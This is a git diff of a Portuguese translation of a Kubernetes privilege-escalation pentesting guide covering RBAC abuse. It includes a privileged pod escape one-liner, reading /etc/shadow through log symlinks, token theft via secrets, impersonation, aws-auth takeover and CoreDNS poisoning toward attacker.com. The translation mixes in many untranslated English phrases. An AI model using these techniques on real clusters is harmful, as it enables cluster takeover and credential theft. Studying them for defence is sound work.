mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub
This commit is contained in:
+154
-135
@@ -1,23 +1,23 @@
|
||||
# Abusing Roles/ClusterRoles in Kubernetes
|
||||
# Abusando de Roles/ClusterRoles em Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Aqui você pode encontrar algumas configurações de Roles e ClusterRoles potencialmente perigosas.\
|
||||
Lembre-se de que você pode obter todos os recursos suportados com `kubectl api-resources`
|
||||
Aqui você pode encontrar algumas configurações potencialmente perigosas de Roles e ClusterRoles.\
|
||||
Lembre-se que você pode obter todos os recursos suportados com `kubectl api-resources`
|
||||
|
||||
## **Escalada de Privilégios**
|
||||
## **Privilege Escalation**
|
||||
|
||||
Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster kubernetes ou para nuvens externas) do que os que você já possui, no Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**:
|
||||
Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster Kubernetes ou para nuvens externas) do que aqueles que você já possui, em Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**:
|
||||
|
||||
- Ser capaz de **impersonar** outros usuários/grupos/SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas
|
||||
- Ser capaz de **criar/patch/exec pods** onde você pode **encontrar ou anexar SAs** com melhores privilégios dentro do cluster kubernetes ou para nuvens externas
|
||||
- Ser capaz de **ler segredos** já que os tokens dos SAs são armazenados como segredos
|
||||
- Ser capaz de **escapar para o nó** a partir de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver)
|
||||
- Uma quinta técnica que merece menção é a capacidade de **executar port-forward** em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod.
|
||||
- Ser capaz de **impersonate** outros usuários/grupos/SAs com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas
|
||||
- Ser capaz de **create/patch/exec pods** onde você pode **find or attach SAs** com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas
|
||||
- Ser capaz de **read secrets**, já que os tokens das SAs são armazenados como secrets
|
||||
- Ser capaz de **escape to the node** a partir de um container, onde você pode roubar todos os secrets dos containers rodando no node, as credenciais do node, e as permissões do node dentro da nuvem em que está executando (se houver)
|
||||
- Uma quinta técnica que merece menção é a habilidade de **run port-forward** em um pod, pois você pode conseguir acessar recursos interessantes dentro desse pod.
|
||||
|
||||
### Acessar Qualquer Recurso ou Verbo (Coringa)
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
O **coringa (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster
|
||||
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Acessar Qualquer Recurso com um verbo específico
|
||||
### Acessar qualquer recurso com um verbo específico
|
||||
|
||||
Em RBAC, certas permissões apresentam riscos significativos:
|
||||
No RBAC, certas permissões apresentam riscos significativos:
|
||||
|
||||
1. **`create`:** Concede a capacidade de criar qualquer recurso de cluster, arriscando a escalada de privilégios.
|
||||
2. **`list`:** Permite listar todos os recursos, potencialmente vazando dados sensíveis.
|
||||
3. **`get`:** Permite acessar segredos de contas de serviço, representando uma ameaça à segurança.
|
||||
1. **`create`:** Concede a habilidade de criar qualquer recurso do cluster, colocando em risco privilege escalation.
|
||||
2. **`list`:** Permite listar todos os recursos, potencialmente leaking sensitive data.
|
||||
3. **`get`:** Permite acessar secrets de service accounts, representando uma ameaça à segurança.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account. Isso efetivamente eleva os privilégios.
|
||||
Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account, escalando efetivamente privilégios para ela
|
||||
|
||||
Exemplo de um pod que roubará o token da Service Account `bootstrap-signer` e o enviará para o atacante:
|
||||
Exemplo de um pod que irá roubar o token da Service Account `bootstrap-signer` e enviá-lo ao atacante:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -72,14 +72,12 @@ serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
### Criação e Escape de Pod
|
||||
### Pod Create & Escape
|
||||
|
||||
O seguinte indica todos os privilégios que um contêiner pode ter:
|
||||
|
||||
- **Acesso privilegiado** (desabilitando proteções e configurando capacidades)
|
||||
- **Acesso privilegiado** (desabilitando proteções e definindo capabilities)
|
||||
- **Desabilitar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios
|
||||
- **Desabilitar o namespace hostNetwork**, dando acesso para roubar privilégios de nuvem dos nós e melhor acesso às redes
|
||||
- **Montar hosts / dentro do contêiner**
|
||||
- **Desabilitar o namespace hostNetwork**, dando acesso para roubar privilégios em cloud dos nodes e melhor acesso às redes
|
||||
- **Montar o / do host dentro do container**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -119,15 +117,15 @@ Crie o pod com:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Um-liner do [este tweet](https://twitter.com/mauilion/status/1129468485480751104) e com algumas adições:
|
||||
One-liner de [this tweet](https://twitter.com/mauilion/status/1129468485480751104) e com algumas adições:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Agora que você pode escapar para o nó, verifique as técnicas de pós-exploração em:
|
||||
Agora que você pode escapar para o node, confira post-exploitation techniques em:
|
||||
|
||||
#### Stealth
|
||||
|
||||
Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pode ver o que seria capaz de acessar se criar um pod apenas habilitando alguns dos privilégios mencionados no template anterior:
|
||||
Você provavelmente quer ser **stealthier**; nas páginas a seguir você pode ver o que seria capaz de acessar se criar um pod habilitando apenas alguns dos privilégios mencionados no template anterior:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -136,24 +134,24 @@ Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pod
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Você pode encontrar um exemplo de como criar/abusar das configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_Você pode encontrar exemplos de como criar/abusar as configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Mover para a nuvem
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
Se você pode **criar** um **pod** (e opcionalmente uma **conta de serviço**) você pode ser capaz de **obter privilégios no ambiente de nuvem** ao **atribuir funções de nuvem a um pod ou a uma conta de serviço** e então acessá-lo.\
|
||||
Além disso, se você pode criar um **pod com o namespace de rede do host**, você pode **roubar o IAM** da função da **instância** do **nó**.
|
||||
Se você puder **criar** um **pod** (e opcionalmente uma **service account**) pode ser capaz de **obter privilégios in cloud environment** atribuindo **cloud roles** a um pod ou a uma service account e então acessá-lo.\
|
||||
Além disso, se você puder criar um **pod com o host network namespace** você pode **steal the IAM** role da instância **node**.
|
||||
|
||||
Para mais informações, verifique:
|
||||
Para mais informações veja:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs**
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior.
|
||||
|
||||
O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod:
|
||||
O yaml a seguir **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +189,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** é um recurso no kubernetes usado para **executar comandos em um shell dentro de um pod**. Isso permite **executar comandos dentro dos contêineres ou obter um shell dentro**.
|
||||
**`pods/exec`** é um recurso no kubernetes usado para **executar comandos em um shell dentro de um pod**. Isso permite **executar comandos dentro dos containers ou obter um shell dentro**.
|
||||
|
||||
Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em um pod privilegiado, escapar para o nó e roubar todos os tokens dos pods no nó e (ab)usar o nó:
|
||||
Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em um pod privilegiado, escapar para o node, e roubar todos os tokens dos pods no node e (ab)usar o node:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Por padrão, o comando é executado no primeiro contêiner do pod. Obtenha **todos os pods em um contêiner** com `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` e então **indique o contêiner** onde você deseja executá-lo com `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
> Por padrão o comando é executado no primeiro container do pod. Obtenha **todos os containers em um pod** com `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` e então **indique o container** onde quer executá-lo com `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Se for um contêiner distroless, você pode tentar usar **builtins de shell** para obter informações dos contêineres ou fazer upload de suas próprias ferramentas como um **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
Se for um container distroless você pode tentar usar **shell builtins** para obter info dos containers ou enviar suas próprias ferramentas como um **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Esta permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod:
|
||||
Essa permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso serve para depurar aplicações rodando dentro de um pod facilmente, mas um atacante pode abusar dela para acessar aplicações interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
Como [**indicado nesta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se você puder acessar ou criar um pod com o **diretório `/var/log/` dos hosts montado** nele, você pode **escapar do contêiner**.\
|
||||
Isso acontece basicamente porque, quando a **Kube-API tenta obter os logs** de um contêiner (usando `kubectl logs <pod>`), ela **solicita o arquivo `0.log`** do pod usando o endpoint `/logs/` do serviço **Kubelet**.\
|
||||
O serviço Kubelet expõe o endpoint `/logs/`, que basicamente **expondo o sistema de arquivos `/var/log` do contêiner**.
|
||||
Como [**indicado nesta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se você conseguir acessar ou criar um pod com o **hosts `/var/log/` directory mounted** nele, você pode **escape from the container**.\
|
||||
Isso acontece basicamente porque, quando a **Kube-API tenta obter os logs** de um container (usando `kubectl logs <pod>`), ela **requests the `0.log`** file of the pod usando o endpoint `/logs/` do serviço **Kubelet**.\
|
||||
O serviço Kubelet expõe o endpoint `/logs/` que basicamente está **expondo o filesystem `/var/log` do container**.
|
||||
|
||||
Portanto, um atacante com **acesso para escrever na pasta /var/log/** do contêiner poderia abusar desse comportamento de 2 maneiras:
|
||||
Portanto, um atacante com **acesso de escrita na pasta /var/log/** do container poderia abusar desse comportamento de 2 maneiras:
|
||||
|
||||
- Modificando o arquivo `0.log` de seu contêiner (geralmente localizado em `/var/logs/pods/namespace_pod_uid/container/0.log`) para ser um **symlink apontando para `/etc/shadow`**, por exemplo. Então, você poderá exfiltrar o arquivo shadow dos hosts fazendo:
|
||||
- Modificar o arquivo `0.log` do seu container (normalmente localizado em `/var/logs/pods/namespace_pod_uid/container/0.log`) para ser um **symlink apontando para `/etc/shadow`**, por exemplo. Assim, você poderá exfiltrar o arquivo shadow do host fazendo:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +222,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://<gateway>:10250/logs/sym/` ele listará o sistema de arquivos root** do host (alterar o symlink pode fornecer acesso a arquivos).
|
||||
- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://<gateway>:10250/logs/sym/` ele listará o sistema de arquivos raiz do host** (alterar o symlink pode fornecer acesso a arquivos).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -238,21 +236,21 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
```
|
||||
**Um laboratório e um exploit automatizado podem ser encontrados em** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Contornando a proteção readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Bypassing readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Se você tiver sorte e a capacidade altamente privilegiada `CAP_SYS_ADMIN` estiver disponível, você pode apenas remontar a pasta como rw:
|
||||
Se você tiver sorte e a capability altamente privilegiada `CAP_SYS_ADMIN` estiver disponível, você pode simplesmente remontar o diretório como rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Contornando a proteção readOnly do hostPath <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Conforme declarado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção:
|
||||
Como descrito em [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) é possível contornar a proteção:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
O que deveria prevenir escapes como os anteriores, ao invés de usar um hostPath mount, é usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:
|
||||
Isso foi pensado para evitar escapes como os anteriores ao, em vez de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta hosts no container com acesso de escrita:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -298,16 +296,16 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **Impersonando contas privilegiadas**
|
||||
### **Personificando contas privilegiadas**
|
||||
|
||||
Com um privilégio de [**impersonação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada.
|
||||
Com o privilégio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada.
|
||||
|
||||
Basta usar o parâmetro `--as=<username>` no comando `kubectl` para se passar por um usuário, ou `--as-group=<group>` para se passar por um grupo:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
Ou use a API REST:
|
||||
Ou use a REST API:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -315,15 +313,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Listando Segredos
|
||||
### Listando secrets
|
||||
|
||||
A permissão para **listar segredos pode permitir que um atacante realmente leia os segredos** acessando o endpoint da API REST:
|
||||
A permissão para **list secrets** pode permitir que um atacante realmente leia os secrets acessando o REST API endpoint:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Criando e Lendo Segredos
|
||||
### Criando e Lendo Secrets
|
||||
|
||||
Há um tipo especial de segredo do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount. Se você tiver permissões para criar e ler segredos, e também souber o nome do serviceaccount, você pode criar um segredo da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele:
|
||||
Existe um tipo especial de secret do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount.
|
||||
Se você tem permissões para criar e ler secrets, e também conhece o nome do serviceaccount, você pode criar um secret da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -382,17 +381,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Note que se você tiver permissão para criar e ler segredos em um determinado namespace, a serviceaccount da vítima também deve estar nesse mesmo namespace.
|
||||
Note que, se você tem permissão para criar e ler secrets em um determinado namespace, a serviceaccount vítima também deve estar nesse mesmo namespace.
|
||||
|
||||
### Lendo um segredo – força bruta em IDs de token
|
||||
### Lendo um secret – brute-forcing token IDs
|
||||
|
||||
Enquanto um atacante em posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de _**listar segredos**_, ainda existem vulnerabilidades. As contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o [código-fonte](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Embora um atacante em posse de um token com permissões de leitura precise do nome exato do secret para usá-lo, ao contrário da permissão mais ampla _**listing secrets**_, ainda existem vulnerabilidades. Os service accounts padrão no sistema podem ser enumerados, cada um associado a um secret. Esses secrets têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres), de acordo com o [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia viavelmente executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis.
|
||||
O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14,348,907 (27^5). Consequentemente, um atacante poderia feasibly executar um ataque brute-force para deduzir o token em questão de horas, potencialmente levando a uma elevação de privilégios ao acessar service accounts sensíveis.
|
||||
|
||||
### EncrpytionConfiguration em texto claro
|
||||
|
||||
É possível encontrar chaves em texto claro para criptografar dados em repouso neste tipo de objeto como:
|
||||
É possível encontrar chaves em texto claro para criptografar dados at rest nesse tipo de objeto, como:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -449,13 +448,13 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Certificate Signing Requests
|
||||
### Solicitações de Assinatura de Certificado
|
||||
|
||||
Se você tiver os verbos **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`). Você pode **criar** um novo CeSR de um **novo nó.**
|
||||
Se você tiver o verbo **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`), você pode **criar** um novo CeSR de um **novo nó.**
|
||||
|
||||
De acordo com a [documentação é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
|
||||
De acordo com a [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então nesse caso você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa update em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
|
||||
|
||||
Um **exemplo de um papel** com todas as permissões necessárias é:
|
||||
Um **exemplo de role** com todas as permissões necessárias é:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -486,18 +485,18 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Então, com o novo CSR do nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**.
|
||||
Então, com o novo node CSR aprovado, você pode **abuse** as permissões especiais dos nodes para **steal secrets** e **escalate privileges**.
|
||||
|
||||
Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios roubando segredos.\
|
||||
Se você **tiver os privilégios mencionados, poderá fazer a mesma coisa**. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um **nó só pode acessar os segredos dos contêineres montados nele.**
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) a configuração GKE K8s TLS Bootstrap está configurada com **automatic signing** e é abusada para gerar credentials de um novo K8s Node e então abusar desses para escalate privileges by stealing secrets.\
|
||||
Se você **have the mentioned privileges you could do the same thing**. Observe que o primeiro exemplo contorna o erro que impede um novo node de acessar secrets dentro dos containers porque um **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
A maneira de contornar isso é apenas **criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado** (mas apenas verifique como fazer isso no primeiro post):
|
||||
A forma de contornar isso é simplesmente **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Os principais que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster ao sobrescrever o **aws-auth** configmap.\
|
||||
Principals que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster sobrescrevendo o configmap **aws-auth**.\
|
||||
Os verbos necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não tiver sido criado:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -538,18 +537,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Você pode usar **`aws-auth`** para **persistência** dando acesso a usuários de **outras contas**.
|
||||
> Você pode usar **`aws-auth`** para **persistência**, dando acesso a usuários de **outras contas**.
|
||||
>
|
||||
> No entanto, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **não funciona de uma conta diferente**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez de apenas o nome.\
|
||||
> Para fazer `kubectl` funcionar, apenas certifique-se de **configurar** o **kubeconfig da vítima** e nos argumentos de execução da aws adicione `--profile other_account_role` para que o kubectl use o perfil da outra conta para obter o token e contatar a AWS.
|
||||
> Porém, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **não funciona a partir de outra conta**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez do nome.\
|
||||
> Para fazer o `kubectl` funcionar, basta certificar-se de **configurar** o **kubeconfig da vítima** e nos argumentos do aws exec adicionar `--profile other_account_role` para que o kubectl use o profile da outra conta para obter o token e contatar a AWS.
|
||||
|
||||
### CoreDNS config map
|
||||
### ConfigMap do CoreDNS
|
||||
|
||||
Se você tiver as permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode modificar os domínios de endereço que serão resolvidos para poder realizar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**.
|
||||
Se você tem permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode alterar os endereços para os quais domínios serão resolvidos, de modo a possibilitar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**.
|
||||
|
||||
Os verbos necessários são **`update`** e **`patch`** sobre o **`coredns`** configmap (ou todos os config maps).
|
||||
Os verbos necessários são **`update`** e **`patch`** no **`coredns`** configmap (ou em todos os config maps).
|
||||
|
||||
Um arquivo **coredns** regular contém algo como isto:
|
||||
Um **arquivo do CoreDNS** comum contém algo como isto:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -579,58 +578,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com`, de modo que sempre que `victim.com` for acessado, na verdade `attacker.com` será o domínio que será acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`.
|
||||
Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com` para que sempre que `victim.com` for acessado, na verdade `attacker.com` seja o domínio acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
Outra opção é simplesmente editar o arquivo executando `kubectl edit configmap coredns -n kube-system` e fazer as alterações.
|
||||
|
||||
### Escalando no GKE
|
||||
### Escalating in GKE
|
||||
|
||||
Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para poder coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração kubectl** (siga o próximo link).
|
||||
Existem **2 maneiras de atribuir permissões K8s a principals do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para conseguir coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração do kubectl** (siga o link a seguir).
|
||||
|
||||
> [!WARNING]
|
||||
> Ao falar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **qualquer acesso via GCP IAM**.\
|
||||
> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo conceder **permissões via GCP IAM** será dado.
|
||||
